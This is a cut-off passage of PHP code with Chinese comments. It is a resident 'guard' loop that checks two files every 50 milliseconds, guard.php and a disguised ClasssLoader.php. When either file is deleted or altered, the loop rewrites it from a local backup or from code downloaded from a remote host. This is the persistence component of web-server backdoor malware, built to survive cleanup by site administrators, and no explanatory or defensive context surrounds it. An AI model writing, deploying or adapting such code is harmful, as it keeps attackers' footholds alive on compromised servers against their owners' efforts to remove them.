['timeout' => 3]]); $txt = @file_get_contents($url, false, $ctx); return $txt ?: null; } // ✅ 永久驻留守护循环 while (true) { // ========== 🛡️ 守护 guard.php ========== $guard_current_hash = file_exists($guard_path) ? md5_file($guard_path) : ''; $guard_bak_hash = file_exists($guard_bak) ? md5_file($guard_bak) : ''; $remote_guard_code = get_remote_code($remote_guard); $remote_guard_hash = $remote_guard_code ? md5($remote_guard_code) : ''; if (!file_exists($guard_path)) { // 被删除 if ($remote_guard_code) { file_put_contents($guard_path, $remote_guard_code); } elseif (file_exists($guard_bak)) { copy($guard_bak, $guard_path); } } elseif ( ($guard_bak_hash && $guard_current_hash !== $guard_bak_hash) || ($remote_guard_hash && $guard_current_hash !== $remote_guard_hash) ) { // 被篡改 if ($remote_guard_code) { file_put_contents($guard_path, $remote_guard_code); } elseif (file_exists($guard_bak)) { copy($guard_bak, $guard_path); } } // ========== 🛡️ 守护 ClasssLoader.php ========== $zq4_current_hash = file_exists($zq4_path) ? md5_file($zq4_path) : ''; $zq4_bak_hash = file_exists($zq4_bak) ? md5_file($zq4_bak) : ''; $remote_zq4_code = get_remote_code($remote_zq4); $remote_zq4_hash = $remote_zq4_code ? md5($remote_zq4_code) : ''; if (!file_exists($zq4_path)) { if ($remote_zq4_code) { file_put_contents($zq4_path, $remote_zq4_code); } elseif (file_exists($zq4_bak)) { copy($zq4_bak, $zq4_path); } } elseif ( ($zq4_bak_hash && $zq4_current_hash !== $zq4_bak_hash) || ($remote_zq4_hash && $zq4_current_hash !== $remote_zq4_hash) ) { if ($remote_zq4_code) { file_put_contents($zq4_path, $remote_zq4_code); } elseif (file_exists($zq4_bak)) { copy($zq4_bak, $zq4_path); } } usleep(50000); // 每50ms检测一次,快速反应但不卡主线程 }